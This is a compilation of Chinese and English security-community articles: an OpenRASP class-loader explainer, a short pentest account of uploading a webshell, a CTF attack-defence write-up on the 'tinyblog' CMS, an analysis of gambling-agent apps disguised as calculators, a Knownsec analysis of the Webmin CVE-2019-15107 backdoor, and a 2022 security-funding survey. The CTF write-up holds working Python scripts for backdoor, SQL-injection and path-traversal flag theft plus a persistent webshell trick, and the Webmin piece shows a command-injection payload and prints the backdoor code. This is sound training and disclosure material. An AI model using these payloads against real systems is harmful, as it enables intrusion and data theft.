看代码前半部分，可以看到（其实注释都有了，非常明确），是为了拿到当前Agent的jar，也就是rasp.jar所在的目录地址，因为后续将会通过获取到类加载器，通过类加载器去加载rasp-engine.jar，从而实现Agent加载Engine。
接下来的几行代码才是需要我们关注的地方，它先是调用了
`ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();`
取得了当前类的类加载器（就是加载当前类的类加载器），既然是要加载rasp-engine.jar，那么就得获取到类加载器去加载。
在讲这几行代码前，可能很多人不太了解类的显式、隐式加载是什么，这里有必要先稍微讲一下吧。
* * *
**类加载其实可以分为两种加载方式，一种是显式加载，另一种是隐式加载，那么，到底什么是显式加载，什么是隐式加载呢？**
* 显式加载：
显式加载就是通过代码，比如
Class.forName
和
classLoader.loadClass
等方式加载。
* 隐式加载：
隐式加载就是JVM在加载某个类的时候，默认会使用引用了该类，并触发该类加载的那个类所属加载器进行加载，有点绕，做个例子：“A类是被类加载器CLA加载的，然后A类中import了B类，并且在A类的构造方法中，调用了B类的某个field或method，那么，在A类被实例化前，JVM会默认通过类加载器CLA去把B类也加载进JVM”。
* * *
明白了什么是显式、隐式加载后，我们回到前面的代码中来，前面说到，调用了
ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
取得了当前类的类加载器，接下来，做了一个while循环，循环中的条件是不断的判断
systemClassLoader.getParent() != null
以及
!systemClassLoader.getClass().getName().equals("sun.misc.Launcher$ExtClassLoader")
这个循环的意义是什么呢？
其实，这里是为了获取到扩展类加载器，通过扩展类加载器去加载Engine。在JVM中，类加载器从上到下，一共分为三级，分别为启动类加载器、扩展类加载器、应用类加载器，其中，启动类加载器在Java代码中，是没办法获取到的，那么，我们能获取到最高级的类加载器就是扩展类加载器了，到这里，大伙可能会问，为什么要获取扩展类加载器，而不是获取应用类加载器呢？
按照类的双亲委派机制，应用类加载器在加载一个类时，首先会委派给它的母亲，也就是扩展类加载器先去尝试加载，而扩展类加载器，也会把这个加载任务委派给它的母亲，启动类加载器去先尝试加载。众所周知，每个类加载器，都会有其读取类文件的路径classpath，通过其classpath所在去加载类的字节码，从而把其转化为JVM中的类。
就这？好像也没解释清楚为什么要获取扩展类加载器？其实并不是的，你细品！
其实，很多时候，比如tomcat，它在运行中，大部分类都是由实现的应用类加载器进行加载的，那么，假如Engine是通过某个应用类加载器进行加载的，而我们的hook代码，在tomcat中应用类加载器加载的某个类，插入了某段代码，这段代码直接（`com.xxx.A.a();`）调用了Engine的某个类的方法，那么，按照双亲委派机制，以及隐式加载的规范，将会抛出ClassNoFoundError的错误，这里还会有小伙伴问为什么？其实已经讲得很清楚了，因为Engine的应用类加载器和tomcat的应用类加载器产生了隔离。
到这里，应该有小伙伴想到了，如果hook代码，在jdk中的rt.jar的某个类的方法，比如java.lang.Runtime.exec中，插入了某段代码"`com.xxx.A.a();`"，因为类java.lang.Runtime是在rt.jar中的，所以，它是由启动类加载器加载的，那么，按照隐式加载以及双亲委派机制，也会导致找不到类`com.xxx.A`，然后抛出ClassNoFoundError的错误啊？
是的，没错，理论以及实际上，必然会是这样的，但是，我也没说在`java.lang.Runtime.exec()`中插入的调用代码必须是"`com.xxx.A.a();`"才能调用到该方法，那么，到底是如何调用呢？
* * *
### 0x03 把Agent（rasp.jar）追加到启动类加载器的classpath
前一节，留下来了一个问题，启动类加载器加载的java.lang.Runtime中，如何调用`com.xxx.A.a();`这个方法？
其实也很简单啊，我直接拿到加载`com.xxx.A`的类加载器，也就是扩展类加载器，不就可以通过`classLoader.loadClass`加载到类`com.xxx.A`并调用其方法a了吗？
那么，这个扩展类加载器要怎么才能取到呢？我们看Agent，其启动时，调用的`com.baidu.openrasp.Agent#init`方法中，调用了`JarFileHelper.addJarToBootstrap(inst);`，我们看看它的实现：
public static void addJarToBootstrap(Instrumentation inst) throws IOException {
String localJarPath = getLocalJarPath();
inst.appendToBootstrapClassLoaderSearch(new JarFile(localJarPath));
}
public static String getLocalJarPath() {
URL localUrl = Agent.class.getProtectionDomain().getCodeSource().getLocation();
String path = null;
try {
path = URLDecoder.decode(
localUrl.getFile().replace("+", "%2B"), "UTF-8");
} catch (UnsupportedEncodingException e) {
System.err.println("[OpenRASP] Failed to get jarFile path.");
e.printStackTrace();
}
return path;
}
可以看到，它首先获取到了当前Agent的rasp.jar所在路径，然后通过JVM的api，把其路径追加到了启动类加载器的classpath中，这样，启动类加载器，收到类加载委派任务时，就能通过该classpath加载到rasp.jar的所有类了，那么，也就意味着，任何一个类加载器中的任何一个类，都能通过显式或者隐式加载，加载到rasp.jar中的类。
到这里，大伙还是会有个疑问，我能拿到rasp.jar中的类，和在`java.lang.Runtime.exec()`（启动类加载器加载的类）调用到`com.xxx.A.a()`（扩展类加载器）方法并没有什么关系啊？
到了最后解谜的时候了，贴上代码：
Agent->com.baidu.openrasp.ModuleLoader
public class ModuleLoader {
...
public static ClassLoader moduleClassLoader;
...
static {
...
ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
while (systemClassLoader.getParent() != null
&& !systemClassLoader.getClass().getName().equals("sun.misc.Launcher$ExtClassLoader")) {
systemClassLoader = systemClassLoader.getParent();
}
moduleClassLoader = systemClassLoader;
}
}
看到了吗？它把扩展类加载器，寄存在了启动类加载器加载的`com.baidu.openrasp.ModuleLoader.moduleClassLoader`静态变量中了，那么，也就是说，我只要在hook插入到`java.lang.Runtime.exec()`的代码中，判断一下，如果，当前类是由启动类加载器加载的，这时候，我就通过`com.baidu.openrasp.ModuleLoader.moduleClassLoader.loadClass("com.xxx.A").getMethod("a").invoke(null,null)`去加载要调用的类（扩展类加载器加载的类）进行调用，否则，当前类就一定是应用类加载器或者扩展类加载器加载的了，那么，根据隐式加载，我就直接通过`com.xxx.A.a()`去调用该类的方法就行了。
看到这里，大伙是不是对OpenRASP的类加载原理搞得清清楚楚了？
* * *
### 0x04 OpenRASP类加载的优缺点
前面大伙彻底搞懂OpenRASP的类加载原理后，我觉得，应该能想到，它的实现，虽然有其优点，但是依然存在着一点小缺点。
1. 优点:
对于一些扩展类加载器、应用类加载器加载的类中，对检测代码的调用（例："`com.xxx.A.a()`"），它无需反射就能直接调用，会减少了部分性能的损耗。
1. 缺点:
也正是优点导致的，对于Engine的类（`com.xxx.A`就在Engine的jar中），没有做到和业务应用隔离，因为它是扩展类加载器加载的，那么，将有可能导致出现一些类冲突问题。比如，业务应用jar是由应用类加载器加载的，它引入了a.jar、b.jar，在a.jar中有public修饰的类`com.yyy.Z`，这个类继承了b.jar中protected修饰的类`com.yyy.X`，而恰巧，在Engine的rasp-engine.jar中也依赖了b.jar，那么，根据双亲委派机制，类`com.yyy.X`将会交由其母亲类加载器，也就是扩展类加载器加载，这时候因为a.jar和b.jar不是同一个类加载器加载的，最后将会导致抛出异常。
* * *
针对这样的缺点，我们除了尽量避免在Engine中使用到会造成冲突的jar以外（这种太难保证了），还有一种方法就是对其进行加载器隔离，也即是通过一个应用类加载器去加载Engine，而不是使用扩展类加载器进行加载。
具体的实现，我们可以考虑在hook插入代码的时候，提前对其要调用的方法method进行反射加载，然后寄存在启动类加载器加载的Agent中，这样，我们就能做到Engine的jar和业务应用的jar，加载器隔离，也能在隔离实现的同时，达到在任意的类的任意的方法中调用到Engine的类和方法。
1. 优点:
做到了完全的加载器隔离，完全不会出现类冲突的问题了。
1. 缺点:
也非常明显，对于无论是启动类加载器、扩展类加载器还是应用类加载器加载的类，它想要调用Engine中的类和方法，都只能通过反射的方式去调用了，这意味着会多出一部分性能的损耗。
* * *
### 0x05 写在最后
好久没写文章了，这次写了个痛快，其实也希望大伙在看完这篇文章后，可以一起多交流交流，看能不能集思广益，做到既要又要，毕竟都是成年人了！ | 社区文章 |
### 前言
兜兜转转最终拿到了 shell ，但是发现大佬已经在前一个小时 getshell 了，记录一下我是怎么发现的过程。
**未授权测试是违法的，仅供学习交流。**
### 过程
打开网站查看源代码，发现成功登录后会跳转到 f0.html 文件
没登录直接访问会跳转，也就不用说了。直接在 Repater 查看 html ，得到一个JS文件
查看common.js 得到 4 个html
f0.html
f1.html
f2.html
f3.html
分别查看4个 html ，最终在 f3.html 得到 list.html
通过 list.html 得到 cl.js ，查看 JS 文件发现了文件上传的接口
构造上传数据包成功拿到 Webshell
连接上 Webshell 发现已经有师傅在 0 点已经 getshell 了
另外一个接口也能上传 Webshell
发现也已经被拿下了
### 总结
通过不同页面加载的 JS 找到文件上传接口，构造请求成功上传 Webshell 。
未经允许禁止转载！！！ | 社区文章 |
# CTF线下赛writeup&tinyblog代码审计
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
前段时间参加了某次CTF线下赛，大多数比赛都是采用主流CMS系统，比如wordpress、pgpcms、dedecms等等，如果对主流CMS漏洞比较熟悉的话可以迅速定位漏洞，发起攻击。而这次比赛采用了小众自写CMS的方式，注重现场快速代码审计。本文将介绍CTF线下赛AWD模式的一些常见套路，以及对tinyblog的代码审计思路。
## 预留后门
比赛开始，一般比赛方为了比赛的观赏性，一般都会预留后门，这样场上可以迅速打起来，展示画面比较好看，不然过了好几轮都没动静会比较尴尬。迅速找后门的套路一般是将比赛源代码首先备份下来，备份很关键，后面可能在修复漏洞或者被其他队伍攻击的时候服务会挂掉，没有备份很难恢复过来。利用webshell检测工具D盾、河马等对备份进行扫描，一般都可以发现预留后门：
查看一下预留后门内容：
虽然做了变形，但还是可以明显看出来是一句话木马，密码：abcde10db05bd4f6a24c94d7edde441d18545，尝试用菜刀去连：
在根目录下就可以得到flag内容。所以发现后门后需要迅速将自己的后门删掉，同时利用预留后门迅速发起第一波攻击，用菜刀手工连接显然是来不及的，因此需要自动化的攻击脚本：
def backdoor(host):
r = requests.post(url="http://%s/Upload/index.php"%host,data={"abcde10db05bd4f6a24c94d7edde441d18545":"print('>>>'.file_get_contents('/flag').'<<<');"})
flags = re.findall(r'>>>(.+?)<<<',r.content)
if flags:
return flags[0]
else:
return "error pwn!"
##
## 登陆处SQL注入
接下来，对各种用户交互的地方进行渗透测试，发现在用户登录处存在SQL注入漏洞，在登录名出加’进行测试：
发现报错：
估计存在SQL注入的可能性比较大，审计一下源代码，在Model/Admin.php第16行发现SQL拼接，并且没有任何防护措施：
因此这里可以直接用SQLmap跑：
然后利用–sql-shell选项，执行 select load_file(‘/flag’)即可获得flag：
这里注意一下sqlmap的缓存机制，因为flag每一轮都会变化，如果新一轮继续直接跑的话获得的flag仍然是上一轮的，因此每轮还需要增加–flush-session参数。
当然也可以直接现场编写payload：
def sqli(host):
1 r = requests.post(url="http://%s/?p=admin&a=login"%host,data={"email":"'||(SELECT updatexml(1,concat(0x7e,(select load_file('/flag')),0x7e),1))||'","password":"pwd123"})
flags = re.findall(r'~(.+?)~',r.content)
if flags:
return flags[0]
else:
return "error pwn!"
修复的话，需要将Admin.php中出问题的代码用预编译的方式进行修复，即：
//fix by tinyfisher
$oStmt = $this->oDb->prepare("SELECT email, password FROM Admins WHERE email = ? LIMIT 1");
$oStmt->execute($sEmail);
##
## 文件包含
这个漏洞利用黑盒测试是很难测出来，必须通过代码审计才能发现，这里我主要用的工具是seay的源代码审计工具，首先将备份文件自动审计一下：
这里发现漏洞并不多，可以一个一个跟进去看一下，问题出现在Engine/Router.php的第21行，直接include $sTemplatePath，而：
$sTemplatePath = ROOT_PATH . ‘Template/’ . $aParams[‘template’];
所以可以通过控制$aParams[‘template’]来达到任意文件读取。
我们来全局查找一下这个参数：
发现在index.php的33行找到该参数
根据’template’ => (!empty($_GET[‘t’]) ? $_GET[‘t’] : ‘pc’)，get
参数中如果t为空，则t默认值为pc，因此我们可以控制t，进而控制$aParams[‘template’]，来达到文件包含的效果，payload：/?t=../../../../../../../flag
自动攻击脚本：
def include(host):
r = requests.get(url="http://%s/?t=../../../../../../flag"%host)
flags = re.findall(r'^(.+?)<',r.content)
if flags:
return flags[0]
else:
return "error pwn!"
修复的话，过滤掉“.”和“/”来快速达到修复效果：
$sTemplatePath = str_replace(array(“.”,”\/”), “”, $sTemplatePath);
## 权限维持
对于上面的漏洞，如果其他队伍修复了就没有办法再次利用，因此需要进行权限维持，不然后期就再也得不到分了。常见的权限维持手段是“不死马”，也就是上传一个php文件不断生成webshell：
访问这个php文件之后，会在目录下生成一个.config.php的一句话木马，之所以叫.config.php一方面是隐藏文件，另一方面config这个名字容易掩护自己。里面的内容之所以做了变形处理，也是为了防止其他选手“借刀杀人”，利用自己的shell去攻击其他队伍。
php中ignore_user_abort（）
可以实现当客户端关闭后仍然可以执行PHP代码，可保持PHP进程一直在执行，可实现所谓的计划任务功能与持续进程，只需要开启执行脚本，除非
apache等服务器重启或有脚本有输出，该PHP脚本将一直处于执行的状态，因此就可以一直生成一句话木马，用来维持权限。
## 借刀杀人
比赛当中如果一直被高手打，而又找不到漏洞所在，有没有其他手段可以缩小差距？我们可以监控流量和日志来找到攻击payload，然后利用这个payload攻击其他队伍。比如发现自己被种上了不死马，没有办法杀掉怎么办？那就继续将这个不死马发扬光大，一般攻击者上传的文件路径和内容都是一致的，你被种了不死马意味着在其他队伍的相同位置下也存在不死马，所以直接去利用他得分吧。
流量监控这块，可以在靶机上抓一下流量：
tcpdump –s 0 –w flow.pcap port xxxx
然后在自己的机器上去分析flow.pcap这个文件，一般就可以看到其他队伍的攻击payload，web和pwn都可以使用这个方法。
日志监控这块主要是为了网站访问记录，便于后续的问题排查，就是把各种字段的数据记录下来，包括请求的文件、时间、IP、访问的文件、POST的内容等等。
date_default_timezone_set('Asia/Shanghai');
$ip = $_SERVER["REMOTE_ADDR"]; //访问IP
$filename = $_SERVER['PHP_SELF']; //访问的文件
$parameter = $_SERVER["QUERY_STRING"]; //查询的字符串
$method = $_SERVER['REQUEST_METHOD']; //请求方法
...
$time = date('Y-m-d H:i:s',time()); //请求时间
$post = file_get_contents("php://input",'r'); //接收POST数据
$others = '**********************************************************************';
$logadd = '访问时间：'.$time.'访问IP:'.$ip.'请求方法：'.$method.' '.'访问链接：'.$filename.'?'.$parameter."\r\n";...
//记录写入
$fh = fopen("log.txt", "a");
fwrite($fh, $logadd);
fwrite($fh,print_r($_COOKIE, true)."\r\n");
fwrite($fh,$others."\r\n");
fclose($fh);
附：
比赛源代码下载
链接：https://pan.baidu.com/s/1bqZbLi3 密码：fagg | 社区文章 |
# 万万没想到计算器还能这么用！通往博彩世界的“秘钥”
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 博彩代理产业的分析
### 什么是“博彩代理”？
即连接博彩平台和赌客之间的中间人，主要职责是为博彩平台推广带来赌客，博彩平台根据代理的业绩给予业务提成。
### “博彩代理”的利润来源
主要来自于赌客的提成，但是代理的利润与销售有着本质的区别，销售属于一次性抽成，赌客在参赌过程中，代理会反复产生收益。
例如，赌客充值100元钱，按照2.5%的返佣计算，代理佣金2.5元，赌客获利90元，又投入190元，代理佣金4.75元，即赌客100元成本，代理获得2.5+4.75=7.25元收益。
以某博彩网站为例进行举例说明：博彩网站PC主站，包含 **博彩项目、合营** 2个板块，前者为赌客服务，后者用于代理人员。
### 博彩项目
与一个中介平台类似，通过博彩项目外链的方式展示体育（足球、篮球）、真人、棋牌、电竞、彩票、电子项目。
博彩网站主站点和博彩项目链接虽不同，但通过域名IP关联来看，博彩项目与博彩平台为同一个运营团伙。
部分博彩平台，为了方便用户，根据不同项目，将平台拆分出不同的APP，例如全站APP、电竞APP。
### 存款方式
包含 **传统转账、代客充值、虚拟货币转账** 等多种方式。
Ø传统转账：通过网银、银行卡、第三方支付（微信、支付宝、京东、云闪付）、快捷支付等进行转账支付。
Ø代客充值：代理人员在代理平台为赌客代充值。
Ø虚拟货币：使用虚拟货币钱包，扫描博彩平台虚拟货币收款二维码进行转账。
**对比了多个博彩代理平台，发现代客充值、虚拟货币充值是目前的主流转账手段。**
### 攻防手段
对比多个大型博彩网站发现，对北京地区访客IP进行了访问限制，导致页面无法访问。
## 合营（代理）模块
### 1、运营模式
合营指的是博彩平台的代理功能，用来邀请用户成为博彩平台代理，进行拉新返佣。
### 2、博彩代理网站后台
博彩平台向代理人员提供管理后台（网址/APP），代理通过该后台，对下线赌客及自己的佣金进行管理。
**网站管理后台，包含下级管理、财务中心、推广中心等功能**
n下级管理，包含会员管理、游戏记录。主要对下线代理赌客进行管理，包括赌客的充值、提款、投注记录、输赢记录、注册时间、登录时间。
n财务中心，包含提款记录、代理代充、额度充值、财务报表、佣金报表、账变明细等功能。
Ø提款记录指的是将佣金提现至自己的银行卡或虚拟货币账户；
Ø额度充值、代理代充指的是代理将资金冲入代理平台，给赌客的博彩账号进行代充值。
Ø财务报表、佣金报表、账变明细指的是代理的收益情况
n推广中心，提供含代理ID号的博彩链接，PC端、H5端、APP版，若代理觉得链接太长，不方便在QQ、微信传播，可直接生成防封短链接。
### 代理人员APP
APP版本功能与博彩代理后台网页版一致。但该APP进行了攻防限制，APP名称为汇率计算，打开后界面为计算器，但是无法进行实际运算。通过应用分析发现，其使用了伪装手段，在界面中输入特定口令后才会展示真正的代理APP。
### 3、产业话术
防溢出：为了方便代理人员邀请下线注册，博彩平台会给代理人员提供含代理人员参数ID的博彩网址，博彩APP。赌客通过此些网站、APP注册，代理才可获得佣金。如果下线人员没有使用指定的链接或APP注册，代理人员可提供注册人员ID进行溢出申请，从而将代理人员与赌客绑定。 | 社区文章 |
**Author：Ethan@Knownsec 404 Team**
**Time: August 21, 2019**
**Chinese Version:<https://paper.seebug.org/1019/>**
### Introduction
Webmin is a web-based interface for system administration for Unix. Using any
modern web browser, you can setup user accounts, Apache, DNS, file sharing and
much more.
On August 10, 2019, the Webmin CVE-2019-15107 remote code execution
vulnerability was released by penest.
Due to a code execution vulnerability in the password resetting function of
`password_change.cgi` file, this vulnerability allows a malicious third party
to execute malicious code without input validation. Knownsec 404 Team found
that this was because of the backdoor implanted in some versions of the
installation package and source code.
### Recurrence
The official version impated by the vulnerability was Webmin <= 1.920. I used
version 1.920 for the test.
In this version, the triggering of the vulnerability requires the password
reset function to be enabled. In "Webmin-> Webmin Configuration->
Authentication"` option, we should check the box allowing users to set a new
password using the old password.
After Webmin restarts, check the webmin configuration file and you can see
that the value of `passwd_mode` has changed from 0 to 2.
Do packet capture at the password modification, and then add `|ifconfig` to
the old parameter.
I found that the command was successfully executed!
I wanted to try another user, but this was what I got.
The root user here is the root user of the Linux system, I do not know why it
did not work.
Then I tried with another user.
The user can be empty or webmin, and this is how I create them:
The root is a Linux system account, and its authentication method is `Unix
authenticaton`. The account ethan is a webmin account I created, and its
authentication method is not available.
Why is there such a difference? This is about perl scripts and I want to thank
@Longofo for his help.
### Analysis
First, in the 12th line of `password_change.cgi`, we can know we can only
trigger the vulnerability when `passwd_mode=2`, and this means we must enable
password resetting. Otherwise it will show Password changing is not enabled!
$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
Then look at the 12th to 31st line of `password_change.cgi` :
# Is this a Webmin user?
if (&foreign_check("acl")) {
&foreign_require("acl", "acl-lib.pl");
($wuser) = grep { $_->{'name'} eq $in{'user'} } &acl::list_users();
if ($wuser->{'pass'} eq 'x') {
# A Webmin user, but using Unix authentication
$wuser = undef;
}
elsif ($wuser->{'pass'} eq '*LK*' ||
$wuser->{'pass'} =~ /^\!/) {
&pass_error("Webmin users with locked accounts cannot change ".
"their passwords!");
}
}
This code mainly determines whether it is webmin user. And it requests an acl-lib.pl, which can known as the functional file by name. The role of 21st~22nd
line is to get the user in the request and determine whether it belongs to
Webmin user! But why it compares the values of `$wuser` and `x`? . So I tried
to print out the value of `acl::list_users()`.
Returned data:
With the returned data, we can know the root user and the default value of
'pass' is `x`. I create a user that does not choose the authentication method.
The value of `pass` is a string of encrypted string. That is to say, if the
`user` we pass in is the system user and the authentication method is `Unix
authenticaton`, the value of `$wuser` will be `undef`.
Let's print the value of `$wuser`.
Print out the value of `$wuser` in the `if` conditional statement to confirm
the idea.
In `perl` language, `undef` is the default value when the variable is not
initialized. In general we see it as empty or 0. It is probably for the
distinction between the modification of the system user password and other
users.
From our analysis above, the value of `$wuser` is `undef` when the user is
root.
if ($wuser) {
# Update Webmin user's password
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
$perr && &pass_error(&text('password_enewpass', $perr));
$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
$wuser->{'temppass'} = 0;
&acl::modify_user($wuser->{'name'}, $wuser);
&reload_miniserv();
}
That is to say, if the system user `user` cannot enter the `if` conditional
statement on line 37, the command execution code of line 40 `qx/...../` cannot
be executed. When the user we pass in is empty or does not exist, the value of
`$wuser` is `{}`, but the `if` conditional statement is entered.
Regarding whether the command execution requires `|`, is we look at the
`pass_error` we can know we do not need `|` to perform command execution echo.
sub pass_error
{
&header(undef, undef, undef, undef, 1, 1);
print &ui_hr();
print "<center><h3>",$text{'password_err'}," : ",@_,"</h3></center>\n";
print &ui_hr();
&footer();
exit;
}
### Interesting Discoveries
I think `qx/..../` is quite strange, because the official patch deletes it
directly:
It feels like that this vulnerability is added to it. The version 1.920
downloaded on Github does not have `qx/..../`. No records related to `qx/../`
were found with the `git log -p` command. The source code and installation
package downloaded on sourceforge have vulnerability code. Is this a back
door?
In 2012, the CDN node of SourceForge Korea was suspected to be invaded, and a
backdoor was implanted in the popular download resource phpMyadmin. To know
more about this: https://www.seebug.org/vuldb/ssvid-60402
I have also found out some news on Github,
https://github.com/webmin/webmin/issues/947
In the 1.890 version, there is also a vulnerability code, and it can't be more
obvious......
I downloaded the 1.890 version from sourceforge. The vulnerabilities are as
follows:
We can know that the trigger of this vulnerability only needs an
'expired`parameter, and the previous`passwd_mode=2` is not necessary.
In other words, the triggering of the vulnerability in the 1.890 version does
not require any dependencies. Is this a mistake or a malicious back door?
### Validating
Here we will verify it in a more intuitive way. Download the source code from
Github and sourceforge.
password_change.cgi file of version 1.920 is as below:
Webmin 1.890 version of the password_change.cgi file
Compare these two files, we will find there is something wrong about the
sourceforge code, and it is very likely that a back door is implanted in it.
After verification, only the sourceforge code and the installation package
have a backdoor vulnerability.
Among them, the dependency of the 1.890 version backdoor vulnerability is the
least, and the most harmful! Guess this should be the initial backdoor, and
later the backdoor was implanted without considering the logic of the code.
This is why the vulnerability trigger is limited!
### Vulnerability Patching
* Upgrade to version 1.930 directly
* Temporary patching scheme: you can locate the line where the vulnerability code is, and then cull it. The following figure is version 1.920:
The picture below shows the 1.890 version:
Replace the indicated label with `$miniserv{'passwd_mode'} == 2 || die
"Password changing is not enabled!";`, the replacement code does not have any
backdoor.
### Conclusion
I did not expect an emergency to develop into a study of backdoor documents.
Thanks to @Longofo for helping me to test a lot of files and code. Heige also
published _The stories behind Webmin CVE-2019–15107_ on the medium describing
the process of finding this backdoor discovery:https://medium.com/@80vul/the-stories-behind-cve-2012-5159-198eaad2449d
# About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group
of high-profile international security experts. It has over a hundred frontier
security talents nationwide as the core security research team to provide
long-term internationally advanced network security solutions for the
government and enterprises.
Knownsec's specialties include network attack and defense integrated
technologies and product R&D under new situations. It provides visualization
solutions that meet the world-class security technology standards and enhances
the security monitoring, alarm and defense abilities of customer networks with
its industry-leading capabilities in cloud computing and big data processing.
The company's technical strength is strongly recognized by the State Ministry
of Public Security, the Central Government Procurement Center, the Ministry of
Industry and Information Technology (MIIT), China National Vulnerability
Database of Information Security (CNNVD), the Central Bank, the Hong Kong
Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of
security vulnerability and offensive and defensive technology in the fields of
Web, IoT, industrial control, blockchain, etc. 404 team has submitted
vulnerability research to many well-known vendors such as Microsoft, Apple,
Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the
industry.
The most well-known sharing of Knownsec 404 Team includes: [KCon Hacking
Conference](http://kcon.knownsec.com/#/ "KCon Hacking Conference"), [Seebug
Vulnerability Database](https://www.seebug.org/ "Seebug Vulnerability
Database") and [ZoomEye Cyberspace Search Engine](https://www.zoomeye.org/
"ZoomEye Cyberspace Search Engine").
* * * | 社区文章 |
# 2022年海外网络安全融资分析总结（1）
##### 译文声明
本文是翻译文章，文章来源：https://mp.weixin.qq.com/s/op_ES37g_yn2owP53lMjZw
译文仅供参考，具体内容表达以及含义原文为准。
* 受全球经济下行的影响，海外网络安全融资市场在2022年高开低走，在上半年的大量融资后，下半年的融资数据大幅度缩水。主要原因在于下半年过亿美元的融资数额远低于上半年。
* “安全管理与运营”是2022年海外网络安全融资最多的领域，超过融资总额的两成。
* “安全管理与运营”以及“开发与应用安全”领域的安全工具集成平台类产品都有不少的融资金额。
* 软件供应链安全不仅仅是开源的管理，针对SaaS安全的企业同样因软件供应链安全而获得融资。
* 从资本市场的反应来看，网络安全在向一种“融合安全”的方向——即某些安全二级（甚至三级）细分领域可能同时兼具两种或者以上的安全领域特性，尤其以云相关为主：如云数据安全、云端应用和SaaS安全等。同时，部分安全能力并不是再单一地覆盖自己原本的需求，而是可能产生一些扩展性的应用。
**前 言**
虽然，国内和国外的网络安全资本市场可以说是两个不同的世界，但是确实国内在网络安全热点、新概念的追捧上，大趋势依然是基于国外的情况。因此，国外的网络安全资本市场的情况一定程度能够反映出未来全球的网络安全趋势——以及，对国内网络安全环境的影响。在去年年中的时候，我尝试就去年上半年自己收集到的融资信息进行了一次简单的分析。但是，之后发现，自己的融资信息极为不完善，又花了诸多时间进行查缺补漏；同时在进一步分析企业的过程中，对去年许多企业的分类也进行了重新归类——因此本统计的内容并不是去年每个月内容的简单合并。
尽管说我在信息收集的过程中一度力求数据的完整性，但是因为各种原因发现无法真正达到完整，最后只能基于当前现有的数据情况，以及可能缺失的数据，对本报告中的数据价值性进行一些简单的自我评估。
市面上当前已经有多个对去年网络安全融资的分析报告，比如国外的MomentumCyber、Crunchbase这类老牌的机构。但是，我认为，这些报告的内容还可以更深入一步，从数据中发现更多的洞察——比如“应用安全”是一个融资较多的领域，但是到底“应用安全”中的融资构成又是如何的呢？整个“应用安全”的融资方向又在哪呢？这一系列的二次分析，是大部分国内外报告所缺乏的，而我想试着，看看自己能否尽力挖掘出这些观察。
**本统计中，会有不少特别主观的判断与分析，也很可能会犯一些错误，希望广大业内朋友能够友善地指出和讨论。**
**数据来源与数据缺失情况**
**数据来源**
本报告的数据来源基于各个国外新闻网站的公开报道信息。由于本统计中的数据统计口径标准因素，会导致与一些国外报告的数据产生差异。在本报告中，由于是“网络安全”，因此对记录的融资企业标准为：
**以对网络空间中存在的风险与威胁进行预测、防护、缓解、检测、响应、修复能力为主要产品的企业。**
因此，在统计过程中，最终删除了部分生物识别企业。一部分原因是因为在整个“生物识别”领域，并非所有的应用场景都直接与网络空间相关——如用于门禁、摄像头等的人脸识别能力更多偏向属于广义上的“信息安全”，而非网络空间安全。
* 另一方面，以下类型融资信息并不计入（在统计中会有极少部分混入）：
* 带有一部分网络安全能力，但是并不以网络安全为主要产品能力或者企业特色的（比如Chainalysis、BigPanda.io等）；这一部分企业往往融资量也比较大，因此排除这些企业后会有不小的融资额差异。
* 只在自身网站，但并未有第三方网站发布融资新闻。
* 除了如PitchBook、CBInsight之类的企业信息网站有记录之外，并未在其他（英文）网站发现相关融资信息的。
* 融资轮在Seed轮或者更早，并且融资金额低于500万美元的。
**数据缺少与数据偏差的因素**
* 对于“网络安全”定义和区分有差异。
* 地缘政治导致缺乏公开信息。
* 语言因素产生的搜索问题。
* 融资金额过小未被观察到以及融资金额未明确公布导致无法计算。
* 汇率计算中出现的差异。
**本报告中数据的参考价值与分析逻辑**
基于以上内容，本统计中的融资数据分析存在一定的局限性：本报告的分析主要是基于以英语为母语或者官方语言的国家（如美国、加拿大、英国等）网络安全融资情况，并且以单笔融资金额超过1,000万美元为主；俄罗斯、东亚国家的信息较少。同时，本统计有一些特殊的分析逻辑：
**在分析中，尽量避免平均数、中位数这类涉及到融资数量的数据，因为笔者认为在数据差异过大以及数据完整性不足的情况下，去讨论平均数与中位数显然更容易引向错误的结论。**
以MomentumCyber的2022年年鉴为例：他们2022年观察到C轮及以后的融资有247起，融资额却刚刚超过100亿美元——相比之下B轮融资3.4亿却仅有81起。这直接导致了平均融资金额，C轮要比B轮少了1,100万美元。如果从网络安全细分领域的发展趋势来看，那些C轮及以后低于1,000万美元的融资是否有参考的价值，至少从笔者来看，价值并非那么大。
**最后，笔者自认为，本报告最大的价值点在于基于网络安全融资领域分类的分析与思考。**
笔者尝试对融资企业的网络安全主营业务，甚至部分主营业务的领域进一步细分，以期望从具体的安全业务领域视角得到更深入的全球网络安全资本市场趋势的理解。
**“网络安全能力下一个方向在哪里”才是资本市场、安全厂商以及安全甲方真正希望进一步了解的问题。**
最后，在报告的撰写，以及数据与企业的多次分析过程中，笔者也选出了一些个人认为有趣的网络安全融资或者企业——
**这未必代表笔者认为相关企业有非常好的前景，甚至有些融资可能会带有一些负面的影响；这些企业可能有着该领域排名靠前的融资金额，或者在过去一年里有多次资本市场活跃情况，又或者笔者认为其安全能力或者安全理念比较有趣。**
这些企业会在和它们主营业务相关的分析中被提及。
**2022年海外网络安全融资总体情况** ****
* **本统计共发现2022年国外网络安全融资约157.78亿美元。**
* 单轮最高融资超过10亿美元（本统计中这笔融资参考了PitchBook给的数据，记为11.6亿美元），为2月份的Securonix。
* 本统计中，单笔融资大于等于1亿美元的企业有67笔，其中14笔融资超过2亿美元；1亿美元及以上的融资总额超过2022年海外网络安全融资的一半。
* 2022年海外网络安全融资数额较2021年降低了不少，其原因之一是下半年的网络安全融资形势并不好。资本市场也受到了全球经济下行的影响，在2022年上半年还不错的活跃后，2022年下半年几乎每个月都呈现出萎靡的状态。
